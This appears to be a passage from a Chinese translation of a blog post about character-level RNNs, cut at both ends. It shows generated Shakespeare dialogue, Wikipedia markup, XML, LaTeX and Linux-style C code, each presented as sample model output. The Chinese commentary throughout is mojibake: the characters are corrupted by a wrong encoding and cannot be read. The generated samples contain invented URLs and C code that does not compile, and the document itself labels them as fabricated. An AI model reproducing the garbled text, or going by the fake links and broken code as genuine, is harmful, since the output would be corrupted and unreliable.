ผ๏ผ‰๏ผŒ่€Œไธ”ๆ•ฐๆฎ้›†ๅˆๅฆ‚ๆญค็š„ๅฐใ€‚ๆˆ‘่ฟ˜ๅพˆๅ–œๆฌขๅฎƒ่‡ชๅทฑๅญฆไผšไบ†ๅฆ‚ไฝ•่ฟ›่กŒๅผ•็”จ๏ผˆไพ‹ๅฆ‚ไธŠๆ–‡ไธญ็š„[2]๏ผ‰ใ€‚ๆœ‰ๆ—ถๅ€™ๅฎƒ็”š่‡ณไผš่ฏดๅ‡บไธ€ไบ›ๅ……ๆปกๆ™บๆ…ง็š„ๆดž่ง๏ผŒๆฏ”ๅฆ‚โ€œa company is a meeting to think to investors๏ผˆๅ…ฌๅธๅฐฑๆ˜ฏไธ€ไธช็ข็ฃจๅฆ‚ไฝ•่ฎฉๆŠ•่ต„่€…ๆ‰“้’ฑ็š„ไผš่ฎฎ๏ผ‰โ€ใ€‚*่ฏ‘่€…ๆณจ๏ผšRNNไฝ ็žŽ่ฏดไป€ไนˆๅคงๅฎž่ฏ๏ผš๏ผ‰*ๅฆ‚ๆžœไฝ ๆƒณ่ฆๆŸฅ็œ‹ๆ›ดๅคš็ป†่Š‚๏ผŒ็‚นๅ‡ป[่ฟ™้‡Œ](https://cs.stanford.edu/people/karpathy/char-rnn/pg.txt)ใ€‚\n\n\n\n**ๆธฉๅบฆ**ใ€‚ๅœจ็”Ÿๆˆๆ–‡ๆœฌ็š„ๆ—ถๅ€™๏ผŒๆˆ‘ไปฌๅฏไปฅ่ฐƒ่Š‚Softmax็š„ๆธฉๅบฆใ€‚ๅฐ†ๆธฉๅบฆไปŽ1้™ๅˆฐๆ›ดไฝŽ็š„ๆ•ฐๅ€ผ๏ผˆๆฏ”ๅฆ‚0.5๏ผ‰ๅฏไปฅ่ฎฉRNNๆ›ดๅŠ ่‡ชไฟก็š„ๅŒๆ—ถๅ˜ๅพ—ๆ›ดๅŠ ไฟๅฎˆใ€‚็›ธๅ๏ผŒๅฆ‚ๆžœๅฐ†ๆธฉๅบฆ่ฎพ็ฝฎ็š„ๆ›ด้ซ˜๏ผŒ็ป“ๆžœไผšๆ›ดๅŠ ๅคšๆ ทๅŒ–๏ผŒไฝ†ๆ˜ฏไปฃไปทๅฐฑๆ˜ฏๅฏ่ƒฝไผšๅ‡บ็Žฐ้”™่ฏฏ๏ผˆๆฏ”ๅฆ‚ๆ›ดๅคš็š„ๆ‹ผๅ†™้”™่ฏฏ๏ผ‰ใ€‚ๅฆ‚ๆžœๅฐ†ๆธฉๅบฆ่ฎพ็ฝฎๅพ—้žๅธธๆŽฅ่ฟ‘ไบŽ0๏ผŒๆˆ‘ไปฌๅฐฑไผšๅพ—ๅˆฐๆœ€ๅƒPaul Graham่ฏด็š„่ฏ๏ผš\n\n*โ€œis that they were all the same thing that was a startup is that they were all the same thing that was a startup is that they were all the same thing that was a startup is that they were all the sameโ€*\n\n็œ‹ๆฅๆˆ‘ไปฌ้™ทๅ…ฅๅˆฐ่ฟž็ปญๅˆ›ไธš็š„ๆ— ้™ๅพช็ŽฏไธญๅŽปไบ†ใ€‚\n\n\n\n## ่ŽŽๅฃซๆฏ”ไบš\n\n็œ‹่ตทๆฅๆˆ‘ไปฌๅฏไปฅ่ฎฉRNNๅญฆไผšๅฆ‚ไฝ•ๆ‹ผๅ†™ๅ•่ฏ๏ผŒไฝ†ๆ˜ฏๆ•ฐๆฎไธญๆœ‰ๆ›ดๅคš็š„็ป“ๆž„ๅ’Œๆ ทๅผๅ‘ข๏ผŸไธบไบ†ๅ›ž็ญ”่ฟ™ไธช้—ฎ้ข˜๏ผŒๆˆ‘ไธ‹่ฝฝไบ†่ŽŽๅฃซๆฏ”ไบš็š„ๆ‰€ๆœ‰ไฝœๅ“๏ผŒๅนถๅฐ†ๅฎƒไปฌ่ฃ…่ฟ›ไธ€ไธชๅ•็‹ฌ็š„ๆ–‡ไปถไธญ๏ผŒๅคงๅฐ็บฆ4.4MBใ€‚ๆˆ‘ไปฌ็Žฐๅœจๅฏไปฅ่ฎญ็ปƒๆ›ดๅคง็š„็ฝ‘็ปœ๏ผŒ่ฟ™ๆฌก่ฏ•็”จ็š„ๆ˜ฏไธ€ไธช3ๅฑ‚็š„RNN๏ผŒๆฏๅฑ‚็š„้š่Š‚็‚น512ไธชใ€‚ๅฝ“ๆˆ‘ไปฌ่ฎญ็ปƒไบ†ๅ‡ ไธชๅฐๆ—ถๅ€™๏ผŒๆˆ‘ไปฌๅพ—ๅˆฐไบ†ไธ‹้ข็š„ๆ–‡ๆœฌ่พ“ๅ‡บ๏ผš\n\n```py\nPANDARUS:\nAlas, I think he shall be come approached and the day\nWhen little srain would be attain'd into being never fed,\nAnd who is but a chain and subjects of his death,\nI should not sleep.\n\nSecond Senator:\nThey are away this miseries, produced upon my soul,\nBreaking and strongly should be buried, when I perish\nThe earth and thoughts of many states.\n\nDUKE VINCENTIO:\nWell, your wit is in the care of side and that.\n\nSecond Lord:\nThey would be ruled after this chamber, and\nmy fair nues begun out of the fact, to be conveyed,\nWhose noble souls I'll have the heart of the wars.\n\nClown:\nCome, sir, I will make did behold your worship.\n\nVIOLA:\nI'll drink it.\n```\n\n่ฎฐไฝ๏ผŒRNNๅช็Ÿฅ้“ๅญ—็ฌฆ๏ผŒๆ‰€ไปฅๅฎƒๅญฆไผšไบ†่ฏด่ฏ่€…็š„ๅๅญ—ๅ’Œ่ฏด่ฏๅ†…ๅฎน็š„ๆ ผๅผ๏ผŒๆœ‰ๆ—ถๅ€™ๆˆ‘ไปฌ่ฟ˜ไผšๅพ—ๅˆฐ็ฑปไผผ็‹ฌ็™ฝ็š„ๆ–‡ๅญ—๏ผŒๆฏ”ๅฆ‚๏ผš\n\n```shell\nVIOLA:\nWhy, Salisbury must find his flesh and thought\nThat which I am not aps, not a man and in fire,\nTo show the reining of the raven and the wars\nTo grace my hand reproach within, and not a fair are hand,\nThat Caesar and my goodly father's world;\nWhen I was heaven of presence and our fleets,\nWe spare with hours, but cut thy council I am great,\nMurdered and by thy master's ready there\nMy power to give thee but so much as hell:\nSome service in the noble bondman here,\nWould show him to her wine.\n\nKING LEAR:\nO, if you were a feeble sight, the courtesy of your law,\nYour sight and several breath, will wear the gods\nWith his heads, and my hands are wonder'd at the deeds,\nSo drop upon your lordship's head, and your opinion\nShall be against your honour.\n```\n\nๆˆ‘ไธชไบบๆ˜ฏๅพˆ้šพๆŠŠ่ฟ™ๆฎต่ฏไปŽ่ŽŽๅฃซๆฏ”ไบš็š„ๅŽŸไฝœไธญๅˆ†่พจๅ‡บๆฅๅ•ฆ๏ผš๏ผ‰ๅฆ‚ๆžœไฝ ๅ–œๆฌข่ŽŽๅฃซๆฏ”ไบš๏ผŒ้‚ฃๅฏไปฅๆฅ็œ‹็œ‹่ฟ™็ฏ‡[้•ฟ่พพ1000000ๅญ—็ฌฆ็š„็”Ÿๆˆๆ–‡ๆœฌ](https://cs.stanford.edu/people/karpathy/char-rnn/shakespear.txt)ใ€‚ๅฝ“็„ถ๏ผŒไฝ ๅฏไปฅไฝฟ็”จๆˆ‘ๆไพ›็š„ไปฃ็ ๏ผŒๅœจไธๅŒ็š„ๆธฉๅบฆ่ฎพ็ฝฎไธ‹ๆฅ็”ŸๆˆไธๅŒ็š„ๆ–‡ๆœฌใ€‚\n\n\n\n## ็ปดๅŸบ็™พ็ง‘\n\nๆˆ‘ไปฌ็œ‹่งLSTM่ƒฝๅคŸๆ‹ผๅ†™ๅ•่ฏ๏ผŒๅค็Žฐ่ฏญๆณ•็ป“ๆž„ใ€‚้‚ฃไนˆ็Žฐๅœจๅฐฑๆ้ซ˜้šพๅบฆ๏ผŒไฝฟ็”จmarkdownๆ–‡ๆœฌๅฏนๅฎƒ่ฟ›่กŒ่ฎญ็ปƒใ€‚ๆˆ‘ไฝฟ็”จไบ†[Hutter Prize](http://prize.hutter1.net)็š„100MB็š„ๆ•ฐๆฎ้›†๏ผŒๆ•ฐๆฎ้›†ๅ†…ๅฎนๆ˜ฏๅŽŸๅง‹็š„็ปดๅŸบ็™พ็ง‘ๅ†…ๅฎน๏ผŒ็„ถๅŽๅœจLSTMไธŠ่ฎญ็ปƒใ€‚ๆ นๆฎ[Graves็ญ‰็š„่ฎบๆ–‡](https://arxiv.org/abs/1308.0850)๏ผŒๆˆ‘ไฝฟ็”จไบ†ๅ…ถไธญ96MB็”จไบŽ่ฎญ็ปƒ๏ผŒๅ‰ฉไธ‹็š„็”จๅš้ชŒ่ฏ้›†ใ€‚ๆจกๅž‹่ท‘ไบ†ๆœ‰ไธ€ๆ™šไธŠ๏ผŒ็„ถๅŽๅฏไปฅ็”Ÿๆˆ็ปดๅŸบ็™พ็ง‘ๆ–‡็ซ ไบ†ใ€‚ไธ‹้ขๆ˜ฏไธ€ไบ›ๆœ‰่ถฃ็š„ๆ–‡ๆœฌ็‰‡ๆฎตใ€‚้ฆ–ๅ…ˆ๏ผŒไธ€ไบ›ๅŸบๆœฌ็š„markdown่พ“ๅ‡บ๏ผš\n\n```markdown\nNaturalism and decision for the majority of Arab countries' capitalide was grounded\nby the Irish language by [[John Clair]], [[An Imperial Japanese Revolt]], associated \nwith Guangzham's sovereignty. His generals were the powerful ruler of the Portugal \nin the [[Protestant Immineners]], which could be said to be directly in Cantonese \nCommunication, which followed a ceremony and set inspired prison, training. The \nemperor travelled back to [[Antioch, Perth, October 25|21]] to note, the Kingdom \nof Costa Rica, unsuccessful fashioned the [[Thrales]], [[Cynth's Dajoard]], known \nin western [[Scotland]], near Italy to the conquest of India with the conflict. \nCopyright was the succession of independence in the slop of Syrian influence that \nwas a famous German movement based on a more popular servicious, non-doctrinal \nand sexual power post. Many governments recognize the military housing of the \n[[Civil Liberalization and Infantry Resolution 265 National Party in Hungary]], \nthat is sympathetic to be to the [[Punjab Resolution]]\n(PJS)[http://www.humah.yahoo.com/guardian.\ncfm/7754800786d17551963s89.htm Official economics Adjoint for the Nazism, Montgomery \nwas swear to advance to the resources for those Socialism's rule, \nwas starting to signing a major tripad of aid exile.]]\n```\n\nๅฆ‚ๆžœไฝ ๆณจๆ„ๅˆฐ็š„่ฏ๏ผŒyahoo็š„้‚ฃไธชurlๆ˜ฏไธๅญ˜ๅœจ็š„๏ผŒๆ˜ฏๆจกๅž‹็”Ÿ้€ ไบ†ๅฎƒใ€‚่ฟ˜ๆœ‰๏ผŒๅฏไปฅ็œ‹่งๆจกๅž‹ๅญฆไผšไบ†ๅฏนไบŽๅœ†ๆ‹ฌๅท่ฆๆˆๅฏนๅ‡บ็Žฐใ€‚ๆจกๅž‹่ฟ˜ๅญฆไผšไบ†ๅพˆๅคšmarkdown็ป“ๆž„๏ผŒๆฏ”ๅฆ‚ๆ ‡้ข˜๏ผŒๅˆ—่กจ็ญ‰๏ผš\n\n```markdown\n{ { cite journal | id=Cerling Nonforest Department|format=Newlymeslated|none } }\n''www.e-complete''.\n\n'''See also''': [[List of ethical consent processing]]\n\n== See also ==\n*[[Iender dome of the ED]]\n*[[Anti-autism]]\n\n===[[Religion|Religion]]===\n*[[French Writings]]\n*[[Maria]]\n*[[Revelation]]\n*[[Mount Agamul]]\n\n== External links==\n* [http://www.biblegateway.nih.gov/entrepre/ Website of the World Festival. The labour of India-county defeats at the Ripper of California Road.]\n\n==External links==\n* [http://www.romanology.com/ Constitution of the Netherlands and Hispanic Competition for Bilabial and Commonwealth Industry (Republican Constitution of the Extent of the Netherlands)]\n```\n\nๆœ‰ๆ—ถๅ€™ๆจกๅž‹ไนŸไผš็”Ÿๆˆไธ€ไบ›้šๆœบไฝ†ๆ˜ฏๅˆๆณ•็š„XML๏ผš\n\n```xml\n<page>\n <title>Antichrist</title>\n <id>865</id>\n <revision>\n <id>15900676</id>\n <timestamp>2002-08-03T18:14:12Z</timestamp>\n <contributor>\n <username>Paris</username>\n <id>23</id>\n </contributor>\n <minor />\n <comment>Automated conversion</comment>\n <text xml:space=\"preserve\">#REDIRECT [[Christianity]]</text>\n </revision>\n</page>\n```\n\nๆจกๅž‹็”Ÿๆˆไบ†ๆ—ถ้—ดๆˆณ๏ผŒidๅ’Œๅ…ถไป–ไธ€ไบ›ไธœ่ฅฟใ€‚ๅŒๆ—ถๆจกๅž‹ไนŸ่ƒฝๆญฃ็กฎๅœฐ่ฎฉๆ ‡็คบ็ฌฆๆˆๅฏนๅ‡บ็Žฐ๏ผŒๅตŒๅฅ—่ง„ๅˆ™ไนŸๅˆไนŽ้€ป่พ‘ใ€‚ๅฆ‚ๆžœไฝ ๅฏนๆ–‡ๆœฌๆ„Ÿๅ…ด่ถฃ๏ผŒ็‚นๅ‡ป[่ฟ™้‡Œ](https://cs.stanford.edu/people/karpathy/char-rnn/wiki.txt)ใ€‚\n\n\n\n## ไปฃๆ•ฐๅ‡ ไฝ•\n\nไธŠ้ข็š„็ป“ๆžœ่กจๆ˜Žๆจกๅž‹็กฎๅฎžๆฏ”่พƒๆ“…้•ฟๅญฆไน ๅคๆ‚็š„่ฏญๆณ•็ป“ๆž„ใ€‚ๆ”ถๅˆฐ่ฟ™ไบ›็ป“ๆžœ็š„้ผ“่ˆž๏ผŒๆˆ‘ๅ’ŒๅŒไผด[Justin Johnson](https://link.zhihu.com/?target=http%3A//cs.stanford.edu/people/jcjohns/)ๅ†ณๅฎšๅœจ็ป“ๆž„ๅŒ–่ฟ™ไธ€ๅ—ๅฐ†็ ”็ฉถๆ›ดๅŠ ๆŽจ่ฟ›ไธ€ๆญฅใ€‚ๆˆ‘ไปฌๅœจ็ฝ‘็ซ™StacksไธŠๆ‰พๅˆฐไบ†่ฟ™ๆœฌๅ…ณไบŽไปฃๆ•ฐๅ‡ ไฝ•็š„[ไนฆ](https://link.zhihu.com/?target=http%3A//stacks.math.columbia.edu/)๏ผŒไธ‹่ฝฝไบ†latexๆบๆ–‡ไปถ๏ผˆ16MBๅคงๅฐ๏ผ‰๏ผŒ็„ถๅŽ็”จไบŽ่ฎญ็ปƒไธ€ไธชๅคšๅฑ‚็š„LSTMใ€‚ไปคไบบๆƒŠๅ–œ็š„ๆ˜ฏ๏ผŒๆจกๅž‹่พ“ๅ‡บ็š„็ป“ๆžœๅ‡ ไนŽๆ˜ฏๅฏไปฅ็ผ–่ฏ‘็š„ใ€‚ๆˆ‘ไปฌๆ‰‹ๅŠจ่งฃๅ†ณไบ†ไธ€ไบ›้—ฎ้ข˜ๅŽ๏ผŒๅฐฑๅพ—ๅˆฐไบ†ไธ€ไธช็œ‹่ตทๆฅๅƒๆจกๅƒๆ ท็š„ๆ•ฐๅญฆๆ–‡ๆกฃ๏ผŒ็œ‹่ตทๆฅ้žๅธธๆƒŠไบบ๏ผš\n\n---\n\n![](https://i.loli.net/2018/09/03/5b8d4a4ee302d.png)\n\n็”Ÿๆˆ็š„ไปฃๆ•ฐๅ‡ ไฝ•ใ€‚่ฟ™้‡Œๆ˜ฏ[ๆบๆ–‡ไปถ](https://cs.stanford.edu/people/jcjohns/fake-math/4.pdf)ใ€‚\n\n---\n\n่ฟ™ๆ˜ฏๅฆไธ€ไธชไพ‹ๅญ๏ผš\n\n![](https://i.loli.net/2018/09/03/5b8d4a7030ba0.png)\n\nๆ›ดๅƒไปฃๆ•ฐๅ‡ ไฝ•ไบ†๏ผŒๅณ่พน่ฟ˜ๅ‡บ็Žฐไบ†ๅ›พ่กจใ€‚\n\n---\n\n็”ฑไธŠๅฏ่ง๏ผŒๆจกๅž‹ๆœ‰ๆ—ถๅ€™ๅฐ่ฏ•็”Ÿๆˆlatexๅ›พ่กจ๏ผŒไฝ†ๆ˜ฏๆฒกๆœ‰ๆˆๅŠŸใ€‚ๆˆ‘ไธชไบบ่ฟ˜ๅพˆๅ–œๆฌขๅฎƒ่ทณ่ฟ‡่ฏๆ˜Ž็š„้ƒจๅˆ†๏ผˆโ€œProof omittedโ€๏ผŒๅœจ้กถ้ƒจๅทฆ่พน๏ผ‰ใ€‚ๅฝ“็„ถ๏ผŒ้œ€่ฆๆณจๆ„็š„ๆ˜ฏlatexๆ˜ฏ็›ธๅฏนๅ›ฐ้šพ็š„็ป“ๆž„ๅŒ–่ฏญๆณ•ๆ ผๅผ๏ผŒๆˆ‘่‡ชๅทฑ้ƒฝ่ฟ˜ๆฒกๆœ‰ๅฎŒๅ…จๆŽŒๆกๅ‘ขใ€‚ไธ‹้ขๆ˜ฏๆจกๅž‹็”Ÿๆˆ็š„ไธ€ไธชๆบๆ–‡ไปถ๏ผš\n\n```latex\n\\begin{proof}\nWe may assume that $\\mathcal{I}$ is an abelian sheaf on $\\mathcal{C}$.\n\\item Given a morphism $\\Delta : \\mathcal{F} \\to \\mathcal{I}$\nis an injective and let $\\mathfrak q$ be an abelian sheaf on $X$.\nLet $\\mathcal{F}$ be a fibered complex. Let $\\mathcal{F}$ be a category.\n\\begin{enumerate}\n\\item \\hyperref[setain-construction-phantom]{Lemma}\n\\label{lemma-characterize-quasi-finite}\nLet $\\mathcal{F}$ be an abelian quasi-coherent sheaf on $\\mathcal{C}$.\nLet $\\mathcal{F}$ be a coherent $\\mathcal{O}_X$-module. Then\n$\\mathcal{F}$ is an abelian catenary over $\\mathcal{C}$.\n\\item The following are equivalent\n\\begin{enumerate}\n\\item $\\mathcal{F}$ is an $\\mathcal{O}_X$-module.\n\\end{lemma}\n```\n\n่ฟ™ไปฝๆจกๅž‹่พ“ๅ‡บ็š„ๆ–‡ๆœฌๅฑ•็คบไบ†ไธ€ไบ›ๅธธ่ง้”™่ฏฏใ€‚ๆฏ”ๅฆ‚ๆจกๅž‹่ตทไบ†**\\begin{proof}**็š„ๅคด๏ผŒ็ป“ๅฐพๅดๆ˜ฏ**\\end{lemma}**ใ€‚่ฟ™็ง้”™่ฏฏๆˆ‘ไปฌๅฐฑๅฟ…้กปๆ‰‹ๅŠจๆ”นๆญฃ๏ผŒ้”™่ฏฏไบง็”Ÿ็š„ๅŽŸๅ› ๅฏ่ƒฝๅœจไบŽไพ่ต–ๅ…ณ็ณป่ฟ‡ไบŽ้•ฟไบ†๏ผšๅฝ“ๆจกๅž‹ๅฎŒๆˆ่ฏๆ˜ŽๅŽ๏ผŒๅฎƒๅทฒ็ปๅฟ˜ไบ†่‡ชๅทฑ็š„ๅผ€ๅคดๆ˜ฏproof่ฟ˜ๆ˜ฏlemmaไบ†ใ€‚็ฑปไผผ็š„๏ผŒๆจกๅž‹่ตทไบ†**\\begin{enumerate}**็š„ๅคด๏ผŒๅดๅฟ˜ไบ†็ป“ๅฐพใ€‚ๆˆ‘ไปฌ่ง‚ๅฏŸๅˆฐ๏ผŒๅœจไฝฟ็”จๆ›ดๅคง่ง„ๆจกๆˆ–ๆ›ดๅฅฝ็š„ๆจกๅž‹ๅŽ๏ผŒ่ฟ™ไบ›้”™่ฏฏๅ˜ๅฐ‘ไบ†ใ€‚็„ถ่€Œ๏ผŒไปฅไธŠ่ฟ™ไบ›้”™่ฏฏๆ€ปๆ˜ฏๅญ˜ๅœจๅ‡บ็Žฐ็š„ๅฏ่ƒฝๆ€ง็š„ใ€‚\n\n\n\n## Linuxๆบ็ \n\nๆˆ‘ๆƒณ่ฆๆŠŠ็ป“ๆž„ๅŒ–ๆ•ฐๆฎ็š„ๅฎž้ชŒๆŽจๅˆฐๆž้™๏ผŒๆ‰€ไปฅๆœ€ๅŽไธ€ไธชๅฎž้ชŒๆˆ‘ไปฌๅ†ณๅฎšไฝฟ็”จไปฃ็ ใ€‚ๅ…ทไฝ“่ฏดๆฅ๏ผŒๅฐฑๆ˜ฏไปŽLinuxๅœจGithubไธŠ็š„[้กน็›ฎ](https://github.com/torvalds/linux)ๆๅ–ไบ†ๆ‰€ๆœ‰ไปฃ็ ๅ’Œ่ƒฝๆ‰พๅˆฐ็š„ๅคดๆ–‡ไปถ๏ผŒๆŠŠไป–ไปฌ่ฃ…่ฟ›ไธ€ไธชๅทจๅคง็š„ๆ–‡ไปถไธญ๏ผˆ474MB็š„Cไปฃ็ ๏ผ‰ใ€‚ๆˆ‘ๅŽŸๆœฌ่ฎกๅˆ’ๆ˜ฏๅช่ฎญ็ปƒLinux็š„ๆ ธๅฟƒๆ–‡ไปถ็š„๏ผŒไฝ†ๆ˜ฏๅ…ถๅคงๅฐๅชๆœ‰็บฆ16MBใ€‚็„ถๅŽๆˆ‘ๅœจGPUไธŠไฝฟ็”จ3ๅฑ‚LSTM่ฎญ็ปƒไบ†ๅฅฝๅ‡ ๅคฉใ€‚่ฟ™ไบ›ๆจกๅž‹ๆœ‰ๅคง็บฆ1000ไธ‡็š„ๅ‚ๆ•ฐ๏ผŒ่ฟ™ๅฏนไบŽRNNๆจกๅž‹ๆฅ่ฏด่ฟ˜ไธ็ฎ—ๅคš็š„ใ€‚ๅฎž้ชŒ็ป“ๆžœ่ถ…็บงๆœ‰่ถฃ๏ผš\n\n```c\n/*\n * Increment the size file of the new incorrect UI_FILTER group information\n * of the size generatively.\n */\nstatic int indicate_policy(void)\n{\n int error;\n if (fd == MARN_EPT) {\n /*\n * The kernel blank will coeld it to userspace.\n */\n if (ss->segment < mem_total)\n unblock_graph_and_set_blocked();\n else\n ret = 1;\n goto bail;\n }\n segaddr = in_SB(in.addr);\n selector = seg / 16;\n setup_works = true;\n for (i = 0; i < blocks; i++) {\n seq = buf[i++];\n bpf = bd->bd.next + i * search;\n if (fd) {\n current = blocked;\n }\n }\n rw->name = \"Getjbbregs\";\n bprm_self_clearl(&iv->version);\n regs->new = blocks[(BPF_STATS << info->historidac)] | PFMR_CLOBATHINC_SECONDS << 12;\n return segtable;\n}\n```\n\n่ฟ™ไบ›ไปฃ็ ็œ‹่ตทๆฅ็›ธๅฝ“้…ทไบ†ใ€‚่™ฝ็„ถๆˆ‘ไธ่ฎคไธบ่ฟ™ไบ›ไปฃ็ ่ƒฝๅคŸ็ผ–่ฏ‘๏ผŒไฝ†ๆ˜ฏ็œ‹็€่ฟ™ไบ›ไปฃ็ ไฝ ไผšๆ„Ÿ่ง‰ๆ˜ฏไธ€ไธชๅทจๅคง็š„Cไปฃ็ ๅบ“ใ€‚ๆณจๆ„RNN่ฟ˜ไธๆ—ถ็š„็ป™่‡ชๅทฑ็š„ไปฃ็ ๅŠ ไธŠไบ†ๆณจ้‡Šใ€‚ไปฃ็ ไธญไนŸๅพˆๅฐ‘ๆœ‰่ฏญๆณ•้”™่ฏฏใ€‚ๆฏ”ๅฆ‚ๅฎƒๅˆ็†ๅœฐไฝฟ็”จไบ†ๅญ—็ฌฆไธฒ๏ผŒๆŒ‡้’ˆๆ ‡่ฎฐ็ญ‰ใ€‚ๅฎƒๅญฆไผšไบ†่ฎฉ่Šฑๆ‹ฌๅทๅ’Œไธญๆ‹ฌๅทๆˆๅฏนๅ‡บ็Žฐ๏ผŒ่ฎฉไปฃ็ ๆœ‰ๆญฃ็กฎ็š„็ผฉ่ฟ›ใ€‚ไธ€ไธชๅธธ่ง็š„้”™่ฏฏๆ˜ฏๅฎƒไธ่ƒฝ่ฟฝไธญๅ˜้‡็š„ๅๅญ—๏ผšๅฎƒๅธธๅธธไฝฟ็”จๆœชๅฃฐๆ˜Ž็š„ๅ˜้‡๏ผˆๆฏ”ๅฆ‚ไธŠ้ข็š„**rw**๏ผ‰๏ผŒๆˆ–ๅฃฐๆ˜Žไธ€ไบ›ๆฐธไธไฝฟ็”จ็š„ๅ˜้‡๏ผˆๆฏ”ๅฆ‚ไธŠ้ข็š„**int error**๏ผ‰๏ผŒๆˆ–่ฟ”ๅ›žไธๅญ˜ๅœจ็š„ๅ˜้‡ใ€‚่ฎฉๆˆ‘ไปฌ็œ‹็œ‹ๆ›ดๅคš็š„ไพ‹ๅญ๏ผŒไธ‹้ขๆ˜ฏไธ€ไธชไปฃ็ ็‰‡ๆฎต๏ผŒๅฑ•็คบไบ†RNNๅญฆไน ๅˆฐ็š„ๆ›ดๅคš็š„ๆ“ไฝœ๏ผš\n\n```c\n/*\n * If this error is set, we will need anything right after that BSD.\n */\nstatic void action_new_function(struct s_stat_info *wb)\n{\n unsigned long flags;\n int lel_idx_bit = e->edd, *sys & ~((unsigned long) *FIRST_COMPAT);\n buf[0] = 0xFFFFFFFF & (bit << 4);\n min(inc, slist->bytes);\n printk(KERN_WARNING \"Memory allocated %02x/%02x, \"\n \"original MLL instead\\n\"),\n min(min(multi_run - s->len, max) * num_data_in),\n frame_pos, sz + first_seg);\n div_u64_w(val, inb_p);\n spin_unlock(&disk->queue_lock);\n mutex_unlock(&s->sock->mutex);\n mutex_unlock(&func->mutex);\n return disassemble(info->pending_bh);\n}\n\nstatic void num_serial_settings(struct tty_struct *tty)\n{\n if (tty == tty)\n disable_single_st_p(dev);\n pci_disable_spool(port);\n return 0;\n}\n\nstatic void do_command(struct seq_file *m, void *v)\n{\n int column = 32 << (cmd[2] & 0x80);\n if (state)\n cmd = (int)(int_state ^ (in_8(&ch->ch_flags) & Cmd) ? 2 : 1);\n else\n seq = 1;\n for (i = 0; i < 16; i++) {\n if (k & (1 << 1))\n pipe = (in_use & UMXTHREAD_UNCCA) +\n ((count & 0x00000000fffffff8) & 0x000000f) << 8;\n if (count == 0)\n sub(pid, ppc_md.kexec_handle, 0x20000000);\n pipe_set_bytes(i, 0);\n }\n /* Free our user pages pointer to place camera if all dash */\n subsystem_info = &of_changes[PAGE_SIZE];\n rek_controls(offset, idx, &soffset);\n /* Now we want to deliberately put it to device */\n control_check_polarity(&context, val, 0);\n for (i = 0; i < COUNTER; i++)\n seq_puts(s, \"policy \");\n}\n```\n\nๆณจๆ„ๅœจ็ฌฌไบŒไธชๅ‡ฝๆ•ฐไธญ๏ผŒๆฏ”่พƒไบ†**tty == tty**๏ผŒ่ฟ™ๆฐธ่ฟœไธบ็œŸใ€‚ไฝ†่ฟ™ๆฌก่‡ณๅฐ‘ๅ‚ๆ•ฐๅๅ‡บ็Žฐๅœจไบ†ๅ‡ฝๆ•ฐไฝ“ไธญใ€‚ๅœจๆœ€ๅŽไธ€ไธชๅ‡ฝๆ•ฐไธญ๏ผŒๆฒกๆœ‰่ฟ”ๅ›žๅ€ผ๏ผŒๅ› ไธบๅ‡ฝๆ•ฐ็š„ๅฃฐๆ˜Žๆœ‰void๏ผŒๆ‰€ไปฅๅ€’ไนŸๆญฃ็กฎใ€‚ ็„ถ่€Œ๏ผŒๅ‰้ขไธคไธชๅ‡ฝๆ•ฐๅฃฐๆ˜Žไธบvoid็กฎๆœ‰่ฟ”ๅ›žๅ€ผ๏ผŒ่ฟ™ๅˆๆ˜ฏไธ€็งๅ› ไธบไพ่ต–่ฟ‡้•ฟไบง็”Ÿ็š„ๅธธ่ง้”™่ฏฏใ€‚\n\nๆœ‰ๆ—ถๅ€™ๆจกๅž‹ๅ†ณๅฎš็”Ÿๆˆๆ–ฐ็š„ๆ–‡ไปถใ€‚่ฟ™้€šๅธธๆ˜ฏ้žๅธธ่ฎฉไบบๆƒŠๅ–œ็š„้ƒจๅˆ†๏ผšๆจกๅž‹้ฆ–ๅ…ˆๅผ•็”จไบ†GUN่ฎธๅฏ๏ผŒ่ฟ›่กŒไบ†ไธ€ไบ›ๅฏผๅ…ฅๆ“ไฝœ๏ผŒ็”Ÿๆˆไธ€ไบ›ๅฎ๏ผŒ็„ถๅŽๅผ€ๅง‹่ฟ›ๅ…ฅไปฃ็ ๏ผš\n\n```c\n/*\n * Copyright (c) 2006-2010, Intel Mobile Communications. All rights reserved.\n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 as published by\n * the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n *\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n */\n\n#include <linux/kexec.h>\n#include <linux/errno.h>\n#include <linux/io.h>\n#include <linux/platform_device.h>\n#include <linux/multi.h>\n#include <linux/ckevent.h>\n\n#include <asm/io.h>\n#include <asm/prom.h>\n#include <asm/e820.h>\n#include <asm/system_info.h>\n#include <asm/setew.h>\n#include <asm/pgproto.h>\n\n#define REG_PG vesa_slot_addr_pack\n#define PFM_NOCOMP AFSR(0, load)\n#define STACK_DDR(type) (func)\n\n#define SWAP_ALLOCATE(nr) (e)\n#define emulate_sigs() arch_get_unaligned_child()\n#define access_rw(TST) asm volatile(\"movd %%esp, %0, %3\" : : \"r\" (0)); \\\n if (__type & DO_READ)\n\nstatic void stat_PC_SEC __read_mostly offsetof(struct seq_argsqueue, \\\n pC>[1]);\n\nstatic void\nos_prefix(unsigned long sys)\n{\n#ifdef CONFIG_PREEMPT\n PUT_PARAM_RAID(2, sel) = get_state_state();\n set_pid_sum((unsigned long)state, current_state_str(),\n (unsigned long)-1->lr_full; low;\n}\n```\n\n่ฟ™้‡Œ้ขๆœ‰ๅคชๅคšๆœ‰่ถฃ็š„ๅœฐๆ–นๅฏไปฅ่ฎจ่ฎบ๏ผŒๆˆ‘ๅ‡ ไนŽๅฏไปฅๅ†™ไธ€ๆ•ดไธชๅšๅฎข๏ผŒๆ‰€ไปฅๆˆ‘็Žฐๅœจ่ฟ˜ๆ˜ฏๆš‚ๅœ๏ผŒๆ„Ÿๅ…ด่ถฃ็š„ๅฏไปฅๆŸฅ็œ‹[่ฟ™้‡Œ](https://cs.stanford.edu/people/karpathy/char-rnn/linux.txt)ใ€‚\n\n\n\n## 